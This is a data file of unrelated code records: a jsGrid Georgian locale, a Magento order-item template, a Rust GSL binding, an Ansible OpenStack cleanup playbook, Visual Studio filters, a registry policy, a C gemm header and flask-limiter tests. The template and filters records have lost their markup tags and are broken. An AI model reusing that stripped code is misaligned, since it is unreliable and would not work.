\u10d0\u10e0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d8 \u10db\u10dd\u10dc\u10d0\u10ea\u10d4\u10db\u10d4\u10d1\u10d8!\"\n },\n\n loadIndicator: {\n message: \"\u10db\u10d8\u10db\u10d3\u10d8\u10dc\u10d0\u10e0\u10d4\u10dd\u10d1\u10e1 \u10e9\u10d0\u10e2\u10d5\u10d8\u10e0\u10d7\u10d5\u10d0...\"\n },\n\n fields: {\n control: {\n searchModeButtonTooltip: \"\u10eb\u10d4\u10d1\u10dc\u10d0\",\n insertModeButtonTooltip: \"\u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0\",\n editButtonTooltip: \"\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0\",\n deleteButtonTooltip: \"\u10ec\u10d0\u10e8\u10da\u10d0\",\n searchButtonTooltip: \"\u10eb\u10d4\u10d1\u10dc\u10d0\",\n clearFilterButtonTooltip: \"\u10e4\u10d8\u10da\u10e2\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e1\u10e3\u10e4\u10d7\u10d0\u10d5\u10d4\u10d1\u10d0\",\n insertButtonTooltip: \"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0\",\n updateButtonTooltip: \"\u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0\",\n cancelEditButtonTooltip: \"\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0\"\n }\n },\n\n validators: {\n required: { message: \"\u10d5\u10d4\u10da\u10d8 \u10d0\u10e3\u10ea\u10d8\u10da\u10d4\u10d1\u10d4\u10da\u10d8\u10d0 \u10e8\u10d4\u10e1\u10d0\u10d5\u10e1\u10d4\u10d1\u10d0\u10d3.\" },\n rangeLength: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0 \u10d0\u10e0 \u10d4\u10e5\u10d5\u10d4\u10db\u10d3\u10d4\u10d1\u10d0\u10e0\u10d4\u10d1\u10d0 \u10d3\u10d8\u10d0\u10de\u10d0\u10d6\u10dd\u10dc\u10e1.\" },\n minLength: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0 \u10e1\u10d0\u10d9\u10db\u10d0\u10dd\u10d3 \u10de\u10d0\u10e2\u10d0\u10e0\u10d0 \u10d0\u10e0\u10d8\u10e1.\" },\n maxLength: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10e9\u10d0\u10dc\u10d0\u10ec\u10d4\u10e0\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0 \u10e1\u10d0\u10d9\u10db\u10d0\u10dd\u10d3 \u10d3\u10d8\u10d3\u10d8 \u10d0\u10e0\u10d8\u10e1.\" },\n pattern: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10dc\u10d8\u10e8\u10d5\u10dc\u10d4\u10da\u10dd\u10d1\u10d0 \u10d0\u10e0 \u10d4\u10db\u10d7\u10ee\u10d5\u10d4\u10d5\u10d0 \u10db\u10d8\u10d7\u10d8\u10d7\u10d4\u10d1\u10e3\u10da \u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10e1.\" },\n range: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0 \u10d0\u10e0 \u10ef\u10d3\u10d4\u10d1\u10d0 \u10d3\u10d8\u10d0\u10de\u10d0\u10d6\u10dd\u10dc\u10e8\u10d8.\" },\n min: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0 \u10e1\u10d0\u10d9\u10db\u10d0\u10dd\u10d3 \u10de\u10d0\u10e2\u10d0\u10e0\u10d0 \u10d0\u10e0\u10d8\u10e1.\" },\n max: { message: \"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d8\u10e1 \u10d6\u10dd\u10db\u10d0 \u10e1\u10d0\u10d9\u10db\u10d0\u10dd\u10d3 \u10d3\u10d8\u10d3\u10d8 \u10d0\u10e0\u10d8\u10e1.\" }\n }\n };\n\n}(jsGrid, jQuery));\n"} -{"text": "\ngetItem() ?>\ngetItem()->getOrderItem()->getOrder() ?>\ngetId() ?>\">\n __('Product Name') ?>\n

    escapeHtml($_item->getName()) ?>

    \n getItemOptions()): ?>\n
    \n \n
    escapeHtml($_option['label']) ?>
    \n getPrintStatus()): ?>\n getFormatedOptionValue($_option) ?>\n class=\"truncated\">\n \n \n
    \n
    \n
    escapeHtml($_option['label']) ?>
    \n
    \n
    \n
    \n \n \n \n
    escapeHtml( (isset($_option['print_value']) ? $_option['print_value'] : $_option['value']) ) ?>
    \n \n \n
    \n \n\n \n getLinks()): ?>\n
    \n
    getLinksTitle() ?>
    \n getPurchasedItems() as $link): ?>\n
    escapeHtml($link->getLinkTitle()); ?>
    \n \n
    \n \n \n\n escapeHtml($_item->getDescription()) ?>\n helper('giftmessage/message')->getIsMessagesAvailable('order_item', $_item->getOrderItem()) && $_item->getGiftMessageId()): ?>\n
    getId() ?>\" class=\"giftmessage-preview-link expand\" onclick=\"return giftMessageToogle('getId() ?>')\">__('Gift Message') ?>\n \n \n\n\n __('SKU') ?>\n escapeHtml(Mage::helper('core/string')->splitInjection($this->getSku())) ?>\n\n\n __('Price') ?>\n \n helper('tax')->displayCartBothPrices() || $this->helper('tax')->displayCartPriceExclTax()): ?>\n \n helper('tax')->displayCartBothPrices()): ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n __('Excl. Tax'); ?>:\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n \n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n \n \n \n\n typeOfDisplay($this->getItem(), array(0, 1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getOrder()->formatPrice($this->getItem()->getPrice()+$this->getItem()->getWeeeTaxAppliedAmount()+$this->getItem()->getWeeeTaxDisposition()); ?>\n \n getOrder()->formatPrice($this->getItem()->getPrice()) ?>\n \n\n \n\n\n getApplied($this->getItem())): ?>\n\n getItem()->getId(); ?>\" style=\"display:none;\">\n typeOfDisplay($this->getItem(), 1, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount']); ?>\n \n \n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount_incl_tax']); ?>\n \n typeOfDisplay($this->getItem(), 4, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount_incl_tax']); ?>\n \n \n \n \n\n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n __('Total'); ?>:
    getOrder()->formatPrice($this->getItem()->getPrice()+$this->getItem()->getWeeeTaxAppliedAmount()+$this->getItem()->getWeeeTaxDisposition()); ?>    \n     \n \n \n     \n
    \n \n helper('tax')->displayCartBothPrices() || $this->helper('tax')->displayCartPriceInclTax()): ?>\n \n helper('tax')->displayCartBothPrices()): ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n __('Incl. Tax'); ?>:\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n \n helper('checkout')->getPriceInclTax($this->getItem()); ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n \n \n \n\n typeOfDisplay($this->getItem(), array(0, 1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getOrder()->formatPrice($_incl+$this->getItem()->getWeeeTaxAppliedAmount()); ?>\n \n getOrder()->formatPrice($_incl-$this->getItem()->getWeeeTaxDisposition()) ?>\n \n\n \n\n\n getApplied($this->getItem())): ?>\n\n getItem()->getId(); ?>\" style=\"display:none;\">\n typeOfDisplay($this->getItem(), 1, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount']); ?>\n \n \n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount_incl_tax']); ?>\n \n typeOfDisplay($this->getItem(), 4, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['amount_incl_tax']); ?>\n \n \n \n \n\n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n __('Total incl. tax'); ?>:
    getOrder()->formatPrice($_incl+$this->getItem()->getWeeeTaxAppliedAmount()); ?>    \n     \n \n \n     \n \n \n\n\n __('Qty') ?>\n getQty()*1 ?> \n\n\n __('Subtotal') ?>\n \n helper('tax')->displayCartBothPrices() || $this->helper('tax')->displayCartPriceExclTax()): ?>\n \n helper('tax')->displayCartBothPrices()): ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n __('Excl. Tax'); ?>:\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n \n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n \n \n \n\n typeOfDisplay($this->getItem(), array(0, 1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getOrder()->formatPrice($this->getItem()->getRowTotal()+$this->getItem()->getWeeeTaxAppliedRowAmount()+$this->getItem()->getWeeeTaxRowDisposition()); ?>\n \n getOrder()->formatPrice($this->getItem()->getRowTotal()) ?>\n \n\n \n\n\n getApplied($this->getItem())): ?>\n\n getItem()->getId(); ?>\" style=\"display:none;\">\n typeOfDisplay($this->getItem(), 1, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount']); ?>\n \n \n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount_incl_tax']); ?>\n \n typeOfDisplay($this->getItem(), 4, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount_incl_tax']); ?>\n \n \n \n \n\n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n __('Total'); ?>:
    getOrder()->formatPrice($this->getItem()->getRowTotal()+$this->getItem()->getWeeeTaxAppliedRowAmount()+$this->getItem()->getWeeeTaxRowDisposition()); ?>    \n     \n \n \n     \n
    \n \n helper('tax')->displayCartBothPrices() || $this->helper('tax')->displayCartPriceInclTax()): ?>\n \n helper('tax')->displayCartBothPrices()): ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n __('Incl. Tax'); ?>:\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n \n \n helper('checkout')->getSubtotalInclTax($this->getItem()); ?>\n typeOfDisplay($this->getItem(), array(1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n \n \n \n typeOfDisplay($this->getItem(), array(0, 1, 4), 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getOrder()->formatPrice($_incl+$this->getItem()->getWeeeTaxAppliedRowAmount()); ?>\n \n getOrder()->formatPrice($_incl-$this->getItem()->getWeeeTaxRowDisposition()) ?>\n \n\n \n\n\n getApplied($this->getItem())): ?>\n\n getItem()->getId(); ?>\" style=\"display:none;\">\n typeOfDisplay($this->getItem(), 1, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount']); ?>\n \n \n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount_incl_tax']); ?>\n \n typeOfDisplay($this->getItem(), 4, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n \n getApplied($this->getItem()) as $tax): ?>\n : getOrder()->formatPrice($tax['row_amount_incl_tax']); ?>\n \n \n \n \n\n typeOfDisplay($this->getItem(), 2, 'sales') && (float)$this->getItem()->getWeeeTaxAppliedAmount()): ?>\n getItem()->getId(); ?>', this, 'cart-tax-total-expanded');\">\n __('Total incl. tax'); ?>:
    getOrder()->formatPrice($_incl+$this->getItem()->getWeeeTaxAppliedRowAmount()); ?>    \n     \n \n \n\n\n\n     \n \n \n\n"} -{"text": "//\n// A rust binding for the GSL library by Guillaume Gomez (guillaume1.gomez@gmail.com)\n//\n\nuse ffi;\nuse types::Rng;\n\n/// This function returns a random variate from the logistic distribution. The distribution function is,\n///\n/// p(x) dx = { \\exp(-x/a) \\over a (1 + \\exp(-x/a))^2 } dx\n///\n/// for -\\infty < x < +\\infty.\npub fn logistic(r: &mut Rng, a: f64) -> f64 {\n unsafe { ffi::gsl_ran_logistic(ffi::FFI::unwrap_unique(r), a) }\n}\n\n/// This function computes the probability density p(x) at x for a logistic distribution with scale parameter a, using the formula given above.\npub fn logistic_pdf(x: f64, a: f64) -> f64 {\n unsafe { ffi::gsl_ran_logistic_pdf(x, a) }\n}\n\n/// This function computes the cumulative distribution functions P(x), Q(x) and their inverses for the logistic distribution with scale parameter a.\npub fn logistic_P(x: f64, a: f64) -> f64 {\n unsafe { ffi::gsl_cdf_logistic_P(x, a) }\n}\n\n/// This function computes the cumulative distribution functions P(x), Q(x) and their inverses for the logistic distribution with scale parameter a.\npub fn logistic_Q(x: f64, a: f64) -> f64 {\n unsafe { ffi::gsl_cdf_logistic_Q(x, a) }\n}\n\n/// This function computes the cumulative distribution functions P(x), Q(x) and their inverses for the logistic distribution with scale parameter a.\npub fn logistic_Pinv(P: f64, a: f64) -> f64 {\n unsafe { ffi::gsl_cdf_logistic_Pinv(P, a) }\n}\n\n/// This function computes the cumulative distribution functions P(x), Q(x) and their inverses for the logistic distribution with scale parameter a.\npub fn logistic_Qinv(Q: f64, a: f64) -> f64 {\n unsafe { ffi::gsl_cdf_logistic_Qinv(Q, a) }\n}\n"} -{"text": "---\n- environment:\n OS_AUTH_URL: \"{{ osp_auth_url }}\"\n OS_USERNAME: \"{{ osp_auth_username }}\"\n OS_PASSWORD: \"{{ osp_auth_password }}\"\n OS_PROJECT_NAME: \"{{ osp_project_name }}\"\n OS_PROJECT_DOMAIN_ID: \"{{ osp_auth_project_domain }}\"\n OS_USER_DOMAIN_NAME: \"{{ osp_auth_user_domain }}\"\n # Delete resources only if the project was created for this environment\n when: osp_project_create | bool\n block:\n - name: Cleanup OpenStack resources\n environment:\n OS_PROJECT_ID: \"{{ osp_project_info[0].id | default(osp_project_id) }}\"\n block:\n - name: Do dry-run of compute and storage purge\n command: |\n openstack project purge --dry-run --keep-project --project {{ osp_project_name }}\n register: project_purge_out\n\n - name: Purge compute and storage\n command: |\n openstack project purge --keep-project --project {{ osp_project_name }}\n when: project_purge_out is succeeded\n\n - pause:\n seconds: 30\n\n - name: Get all remaining volumes in project\n command: >-\n openstack volume list --project {{ osp_project_name }} -f json -c ID\n register: r_volumes\n\n - set_fact:\n _all_volumes: >-\n {{ r_volumes.stdout\n | from_json\n | json_query('[*].ID')\n | list }}\n\n - debug:\n var: _all_volumes\n verbosity: 2\n\n - when: _all_volumes | length > 0\n command:\n openstack volume delete {{ _all_volumes | join(' ') }}\n\n - name: Get all remaining trunk ports in project\n command: >-\n openstack port list\n --project {{ osp_project_name }}\n -f json -c trunk_details\n register: r_ports\n\n - set_fact:\n _all_ports: >-\n {{ r_ports.stdout\n | from_json\n | json_query('[?trunk_details != null].trunk_details.trunk_id')\n | list }}\n\n - when: _all_ports | length > 0\n name: Delete any trunk ports in project\n command: openstack network trunk delete {{ _all_ports | join(' ') }}\n\n - name: Purge network resources\n command: |\n neutron purge --project {{ osp_project_info[0].id }}\n\n - name: Cleanup the keypairs\n debug:\n msg: \"Stub task until we figure out how to delete keypairs\"\n"} -{"text": "\ufeff\n\n \n \n {4FC737F1-C7A5-4376-A066-2A32D752A2FF}\n cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx\n \n \n {93995380-89BD-4b04-88EB-625FBE52EBFB}\n h;hh;hpp;hxx;hm;inl;inc;xsd\n \n \n {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}\n rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms\n \n \n {ca43b005-08bf-4558-b945-17e0e3a8f518}\n \n \n {9d4c355c-584d-49ab-ad16-27ea6837ad3c}\n \n \n \n \n \n \n \n \u5934\u6587\u4ef6\n \n \n \u5934\u6587\u4ef6\n \n \n \u5934\u6587\u4ef6\n \n \n \u5934\u6587\u4ef6\n \n \n \u5934\u6587\u4ef6\\class\n \n \n \u5934\u6587\u4ef6\\class\n \n \n \u5934\u6587\u4ef6\\class\n \n \n \u5934\u6587\u4ef6\\class\n \n \n \u5934\u6587\u4ef6\\class\n \n \n \n \n \u6e90\u6587\u4ef6\n \n \n \u6e90\u6587\u4ef6\n \n \n \u6e90\u6587\u4ef6\\class\n \n \n \u6e90\u6587\u4ef6\\class\n \n \n \u6e90\u6587\u4ef6\\class\n \n \n \u6e90\u6587\u4ef6\\class\n \n \n \n \n \u8d44\u6e90\u6587\u4ef6\n \n \n \n \n \u8d44\u6e90\u6587\u4ef6\n \n \n \u8d44\u6e90\u6587\u4ef6\n \n \n"} -{"text": "Windows Registry Editor Version 5.00\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Google\\Update]\n\"UpdateDefault\"=dword:00000000\n\n"} -{"text": "#ifndef GEMM_H\n#define GEMM_H\n\nvoid gemm_bin(int M, int N, int K, float ALPHA, \n char *A, int lda, \n float *B, int ldb,\n float *C, int ldc);\n \nvoid gemm(int TA, int TB, int M, int N, int K, float ALPHA, \n float *A, int lda, \n float *B, int ldb,\n float BETA,\n float *C, int ldc);\n\nvoid gemm_cpu(int TA, int TB, int M, int N, int K, float ALPHA, \n float *A, int lda, \n float *B, int ldb,\n float BETA,\n float *C, int ldc);\n\nvoid time_random_matrix(int TA, int TB, int m, int k, int n);\n\n\n#ifdef GPU\nvoid gemm_gpu(int TA, int TB, int M, int N, int K, float ALPHA, \n float *A_gpu, int lda, \n float *B_gpu, int ldb,\n float BETA,\n float *C_gpu, int ldc);\n\nvoid gemm_gpu(int TA, int TB, int M, int N, int K, float ALPHA, \n float *A, int lda, \n float *B, int ldb,\n float BETA,\n float *C, int ldc);\n#endif\n#endif\n"} -{"text": "import functools\nfrom functools import wraps\n\nimport hiro\nimport mock\nfrom flask import Blueprint, request, current_app, Flask, g\nfrom werkzeug.exceptions import BadRequest\n\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_ipaddr, get_remote_address\n\n\ndef test_multiple_decorators(extension_factory):\n app, limiter = extension_factory(key_func=get_ipaddr)\n\n @app.route(\"/t1\")\n @limiter.limit(\n \"100 per minute\", lambda: \"test\"\n ) # effectively becomes a limit for all users\n @limiter.limit(\"50/minute\") # per ip as per default key_func\n def t1():\n return \"test\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n for i in range(0, 100):\n assert (200 if i < 50 else 429) == cli.get(\n \"/t1\", headers={\n \"X_FORWARDED_FOR\": \"127.0.0.2\"\n }\n ).status_code\n for i in range(50):\n assert 200 == cli.get(\"/t1\").status_code\n assert 429 == cli.get(\"/t1\").status_code\n assert 429 == \\\n cli.get(\"/t1\", headers={\n \"X_FORWARDED_FOR\": \"127.0.0.3\"\n }).status_code\n\n\ndef test_exempt_routes(extension_factory):\n app, limiter = extension_factory(default_limits=[\"1/minute\"])\n\n @app.route(\"/t1\")\n def t1():\n return \"test\"\n\n @app.route(\"/t2\")\n @limiter.exempt\n def t2():\n return \"test\"\n\n with app.test_client() as cli:\n assert cli.get(\"/t1\").status_code == 200\n assert cli.get(\"/t1\").status_code == 429\n assert cli.get(\"/t2\").status_code == 200\n assert cli.get(\"/t2\").status_code == 200\n\n\ndef test_decorated_limit_with_conditional_deduction(extension_factory):\n app, limiter = extension_factory()\n\n @app.route(\"/t/\")\n @limiter.limit(\n \"1/second\", deduct_when=lambda resp: resp.status_code == 200\n )\n @limiter.limit(\n \"1/minute\", deduct_when=lambda resp: resp.status_code == 400\n )\n def t(path):\n if path == \"1\":\n return \"test\"\n raise BadRequest()\n\n with hiro.Timeline() as timeline:\n with app.test_client() as cli:\n assert cli.get(\"/t/1\").status_code == 200\n assert cli.get(\"/t/1\").status_code == 429\n timeline.forward(1)\n assert cli.get(\"/t/2\").status_code == 400\n timeline.forward(1)\n assert cli.get(\"/t/1\").status_code == 429\n assert cli.get(\"/t/2\").status_code == 429\n timeline.forward(60)\n assert cli.get(\"/t/1\").status_code == 200\n\n\ndef test_shared_limit_with_conditional_deduction(extension_factory):\n app, limiter = extension_factory()\n\n bp = Blueprint(\"main\", __name__)\n\n limit = limiter.shared_limit(\n \"2/minute\", \"not_found\",\n deduct_when=lambda response: response.status_code == 400\n )\n\n @app.route(\"/test/\")\n @limit\n def app_test(path):\n if path != \"1\":\n raise BadRequest()\n return path\n\n @bp.route(\"/test/\")\n def bp_test(path):\n if path != \"1\":\n raise BadRequest()\n return path\n\n limit(bp)\n\n app.register_blueprint(bp, url_prefix='/bp')\n\n with hiro.Timeline() as timeline:\n with app.test_client() as cli:\n assert cli.get(\"/bp/test/1\").status_code == 200\n assert cli.get(\"/bp/test/1\").status_code == 200\n assert cli.get(\"/test/1\").status_code == 200\n assert cli.get(\"/bp/test/2\").status_code == 400\n assert cli.get(\"/test/2\").status_code == 400\n assert cli.get(\"/bp/test/2\").status_code == 429\n assert cli.get(\"/bp/test/1\").status_code == 429\n assert cli.get(\"/test/1\").status_code == 429\n assert cli.get(\"/test/2\").status_code == 429\n timeline.forward(60)\n assert cli.get(\"/bp/test/1\").status_code == 200\n assert cli.get(\"/test/1\").status_code == 200\n\n\ndef test_header_ordering_with_conditional_deductions(extension_factory):\n app, limiter = extension_factory(\n default_limits=['3/second'], headers_enabled=True\n )\n\n @app.route(\"/test_combined/\")\n @limiter.limit(\n \"1/hour\", override_defaults=False,\n deduct_when=lambda response: response.status_code != 200\n )\n @limiter.limit(\n \"4/minute\", override_defaults=False,\n deduct_when=lambda response: response.status_code == 200\n )\n def app_test_combined(path):\n if path != \"1\":\n raise BadRequest()\n return path\n\n @app.route(\"/test/\")\n @limiter.limit(\n \"2/hour\", deduct_when=lambda response: response.status_code != 200\n )\n def app_test(path):\n if path != \"1\":\n raise BadRequest()\n return path\n\n with hiro.Timeline() as timeline:\n with app.test_client() as cli:\n assert cli.get(\"/test_combined/1\").status_code == 200\n resp = cli.get(\"/test_combined/1\")\n assert resp.status_code == 200\n assert resp.headers.get('X-RateLimit-Limit') == '3'\n assert resp.headers.get('X-RateLimit-Remaining') == '1'\n assert cli.get(\"/test_combined/2\").status_code == 400\n\n resp = cli.get(\"/test/1\")\n assert resp.headers.get('X-RateLimit-Limit') == '2'\n assert resp.headers.get('X-RateLimit-Remaining') == '2'\n resp = cli.get(\"/test/2\")\n assert resp.headers.get('X-RateLimit-Limit') == '2'\n assert resp.headers.get('X-RateLimit-Remaining') == '1'\n\n resp = cli.get(\"/test_combined/1\")\n assert resp.status_code == 429\n assert resp.headers.get('X-RateLimit-Limit') == '1'\n assert resp.headers.get('X-RateLimit-Remaining') == '0'\n assert cli.get(\"/test_combined/2\").status_code == 429\n timeline.forward(60)\n assert cli.get(\"/test_combined/1\").status_code == 429\n assert cli.get(\"/test_combined/2\").status_code == 429\n timeline.forward(3600)\n assert cli.get(\"/test_combined/1\").status_code == 200\n\n\ndef test_decorated_limits_with_combined_defaults(extension_factory):\n app, limiter = extension_factory(\n default_limits=['2/minute']\n )\n\n @app.route(\"/\")\n @limiter.limit(\"1/second\", override_defaults=False)\n def root():\n return \"root\"\n\n with hiro.Timeline() as timeline:\n with app.test_client() as cli:\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n timeline.forward(60)\n assert 200 == cli.get(\"/\").status_code\n timeline.forward(1)\n assert 200 == cli.get(\"/\").status_code\n timeline.forward(1)\n assert 429 == cli.get(\"/\").status_code\n\n\ndef test_decorated_limit_with_combined_defaults_per_method(extension_factory):\n app, limiter = extension_factory(\n default_limits=['2/minute'],\n default_limits_per_method=True\n )\n\n @app.route(\"/\", methods=['GET', 'PUT'])\n @limiter.limit(\"1/second\", override_defaults=False, methods=['GET'])\n def root():\n return \"root\"\n\n with hiro.Timeline() as timeline:\n with app.test_client() as cli:\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n assert 200 == cli.put(\"/\").status_code\n assert 200 == cli.put(\"/\").status_code\n assert 429 == cli.put(\"/\").status_code\n timeline.forward(60)\n assert 200 == cli.get(\"/\").status_code\n assert 200 == cli.put(\"/\").status_code\n timeline.forward(1)\n assert 200 == cli.get(\"/\").status_code\n assert 200 == cli.put(\"/\").status_code\n timeline.forward(1)\n assert 429 == cli.get(\"/\").status_code\n assert 429 == cli.put(\"/\").status_code\n\n\ndef test_decorated_dynamic_limits(extension_factory):\n app, limiter = extension_factory(\n {\"X\": \"2 per second\"}, default_limits=[\"1/second\"]\n )\n\n def request_context_limit():\n limits = {\n \"127.0.0.1\": \"10 per minute\",\n \"127.0.0.2\": \"1 per minute\"\n }\n remote_addr = (request.access_route and request.access_route[0]\n ) or request.remote_addr or '127.0.0.1'\n limit = limits.setdefault(remote_addr, '1 per minute')\n return limit\n\n @app.route(\"/t1\")\n @limiter.limit(\"20/day\")\n @limiter.limit(lambda: current_app.config.get(\"X\"))\n @limiter.limit(request_context_limit)\n def t1():\n return \"42\"\n\n @app.route(\"/t2\")\n @limiter.limit(lambda: current_app.config.get(\"X\"))\n def t2():\n return \"42\"\n\n R1 = {\"X_FORWARDED_FOR\": \"127.0.0.1, 127.0.0.0\"}\n R2 = {\"X_FORWARDED_FOR\": \"127.0.0.2\"}\n\n with app.test_client() as cli:\n with hiro.Timeline().freeze() as timeline:\n for i in range(0, 10):\n assert cli.get(\"/t1\", headers=R1).status_code == 200\n timeline.forward(1)\n assert cli.get(\"/t1\", headers=R1).status_code == 429\n assert cli.get(\"/t1\", headers=R2).status_code == 200\n assert cli.get(\"/t1\", headers=R2).status_code == 429\n timeline.forward(60)\n assert cli.get(\"/t1\", headers=R2).status_code == 200\n assert cli.get(\"/t2\").status_code == 200\n assert cli.get(\"/t2\").status_code == 200\n assert cli.get(\"/t2\").status_code == 429\n timeline.forward(1)\n assert cli.get(\"/t2\").status_code == 200\n\n\ndef test_invalid_decorated_dynamic_limits(caplog):\n app = Flask(__name__)\n app.config.setdefault(\"X\", \"2 per sec\")\n limiter = Limiter(\n app, default_limits=[\"1/second\"], key_func=get_remote_address\n )\n\n @app.route(\"/t1\")\n @limiter.limit(lambda: current_app.config.get(\"X\"))\n def t1():\n return \"42\"\n\n with app.test_client() as cli:\n with hiro.Timeline().freeze():\n assert cli.get(\"/t1\").status_code == 200\n assert cli.get(\"/t1\").status_code == 429\n # 2 for invalid limit, 1 for warning.\n assert len(caplog.records) == 3\n assert (\n \"failed to load ratelimit\"\n in 